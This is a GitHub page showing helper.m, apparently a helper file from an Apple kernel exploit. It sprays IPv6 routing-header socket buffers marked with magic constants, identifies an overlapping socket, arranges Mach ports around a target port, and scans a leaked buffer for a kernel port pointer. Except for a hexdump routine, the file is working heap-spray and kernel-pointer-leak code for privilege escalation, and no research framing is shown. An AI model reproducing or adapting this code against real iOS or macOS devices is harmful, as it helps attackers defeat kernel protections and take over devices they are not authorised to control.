-
Notifications
You must be signed in to change notification settings - Fork 0
/
helper.m
200 lines (168 loc) · 5.7 KB
/
helper.m
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
#include <stdio.h>
#include <stdlib.h>
#include "helper.h"
#include "spray.h"
void hexdump(const void* data, size_t size) {
char ascii[17];
size_t i, j;
ascii[16] = '\0';
for (i = 0; i < size; ++i) {
if (i % 16 == 0) {
printf("%p ", data+i);
}
printf("%02X ", ((unsigned char*)data)[i]);
if (((unsigned char*)data)[i] >= ' ' && ((unsigned char*)data)[i] <= '~') {
ascii[i % 16] = ((unsigned char*)data)[i];
} else {
ascii[i % 16] = '.';
}
if ((i+1) % 8 == 0 || i+1 == size) {
printf(" ");
if ((i+1) % 16 == 0) {
printf("| %s \n", ascii);
} else if (i+1 == size) {
ascii[(i+1) % 16] = '\0';
if ((i+1) % 16 <= 8) {
printf(" ");
}
for (j = (i+1) % 16; j < 16; ++j) {
printf(" ");
}
printf("| %s \n", ascii);
}
}
}
}
void set_user_data_e_size(uint8_t *buf, uint32_t e_size) {
uint32_t *e_size_ptr;
e_size_ptr = (uint32_t *)(buf+E_SIZE_OFFSET);
*e_size_ptr = e_size;
}
void set_user_data_e_content(uint8_t *buf, uint64_t e_content) {
uint64_t *e_content_ptr;
e_content_ptr = (uint64_t *)(buf+E_CONTENT_OFFSET);
*e_content_ptr = e_content;
}
void prepare_spray_buf(uint8_t ***buf, size_t *buf_len, size_t spray_size, uint32_t e_size) {
uint8_t *rthdr, *tmp_buf;
uint8_t **buf_array;
size_t rthdr_len;
int i;
buf_array = calloc(N_SOCKETS, sizeof(uintptr_t));
rthdr_len = prepare_rthdr_msg(&rthdr, spray_size);
set_user_data_e_size(rthdr, e_size);
for (i = 0; i < N_SOCKETS; i++) {
set_user_data_e_content(rthdr, MAGIC_CONSTANT + i);
tmp_buf = calloc(rthdr_len, sizeof(uint8_t));
memcpy(tmp_buf, rthdr, rthdr_len);
buf_array[i] = tmp_buf;
}
*buf = buf_array;
*buf_len = rthdr_len;
}
size_t identify_overlapping_sock(uint8_t *buf, size_t offset) {
uint64_t constant;
constant = *(uint64_t *)(buf+offset);
INFO_LOG("constant: %llx", constant);
return constant - MAGIC_CONSTANT;
}
int prepare_ports(mach_port_t **before_ports, mach_port_t **after_ports,
mach_port_t *target_port) {
int i, j, k, ret;
*before_ports = calloc(N_BEFORE_PORTS, sizeof(mach_port_t));
*after_ports = calloc(N_AFTER_PORTS, sizeof(mach_port_t));
for (i = 0; i < N_BEFORE_PORTS; i++) {
if ((ret = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &(*before_ports)[i])) != KERN_SUCCESS)
{
ERROR_LOG("before_ports Allocation %d Failed: %x", i, ret);
goto clean_before;
}
}
if ((ret = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, target_port) != KERN_SUCCESS))
{
ERROR_LOG("target_port Allocation Failed: %x", ret);
goto clean_before;
}
mach_port_insert_right(mach_task_self(), *target_port, *target_port, MACH_MSG_TYPE_MAKE_SEND);
for (j = 0; j < N_AFTER_PORTS; j++)
{
if ((ret = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &(*after_ports)[j])) != KERN_SUCCESS)
{
ERROR_LOG("after_ports Allocation %d Failed: %x", j, ret);
goto clean_after;
}
}
ret = 0;
goto out;
clean_after:
mach_port_destroy(mach_task_self(), *target_port);
for (k = 0; k < j; k++)
mach_port_destroy(mach_task_self(), (*after_ports)[k]);
clean_before:
for (k = 0; k < i; k++)
mach_port_destroy(mach_task_self(), (*before_ports)[k]);
ret = 1;
out:
if (ret)
{
ERROR_LOG("Could Not Prepare Ports");
}
else
{
DEBUG_LOG("Prepared Ports");
}
return ret;
}
int destroy_ports(mach_port_t *before_ports, mach_port_t *after_ports,
mach_port_t target_port) {
int i;
for (i = 0; i < N_BEFORE_PORTS; i++) {
mach_port_destroy(mach_task_self(), before_ports[i]);
}
for (i = 0; i < N_AFTER_PORTS; i++) {
mach_port_destroy(mach_task_self(), after_ports[i]);
}
mach_port_destroy(mach_task_self(), target_port);
return 0;
}
mach_port_t * prepare_spray_ports(mach_port_t target_port) {
mach_port_t *ports;
int i;
ports = calloc(OOL_PORTS, sizeof(mach_port_t));
for (i = 0; i < OOL_PORTS; i++) {
ports[i] = target_port;
}
return ports;
}
uintptr_t search_for_port_pointer_leak(uint8_t *buf) {
uintptr_t *ptr_array, *candidate_ptr, *spray_block;
uintptr_t candidate;
size_t offset, inner_offset;
candidate = 0;
for (offset = (UNCORRUPTED_RECIPE_SIZE / sizeof(uintptr_t));
offset <= (E_SIZE_SPRAY - (SPRAY_ZONE));
offset += (SPRAY_ZONE / sizeof(uintptr_t))) {
ptr_array = (uintptr_t *)buf;
ptr_array += offset;
INFO_LOG("ptr_array: %p", ptr_array);
candidate_ptr = memmem(ptr_array, SPRAY_ZONE, "\xff\xff\xff", 3) - 5;
if ((uintptr_t)candidate_ptr % 16 != 0) {
continue;
}
spray_block = candidate_ptr;
INFO_LOG("Candidate Ptr: %p", candidate_ptr);
hexdump(candidate_ptr, sizeof(uintptr_t));
for (inner_offset = 0; inner_offset < SPRAY_ZONE / sizeof(uintptr_t); inner_offset++) {
// INFO_LOG("Comparing: %p", spray_block + inner_offset);
// hexdump(spray_block + inner_offset, sizeof(uintptr_t));
if (memcmp(spray_block + inner_offset, candidate_ptr, sizeof(uintptr_t))) {
break;
}
}
if (inner_offset == 32) {
memcpy(&candidate, candidate_ptr, sizeof(uintptr_t));
break;
}
}
return candidate;
}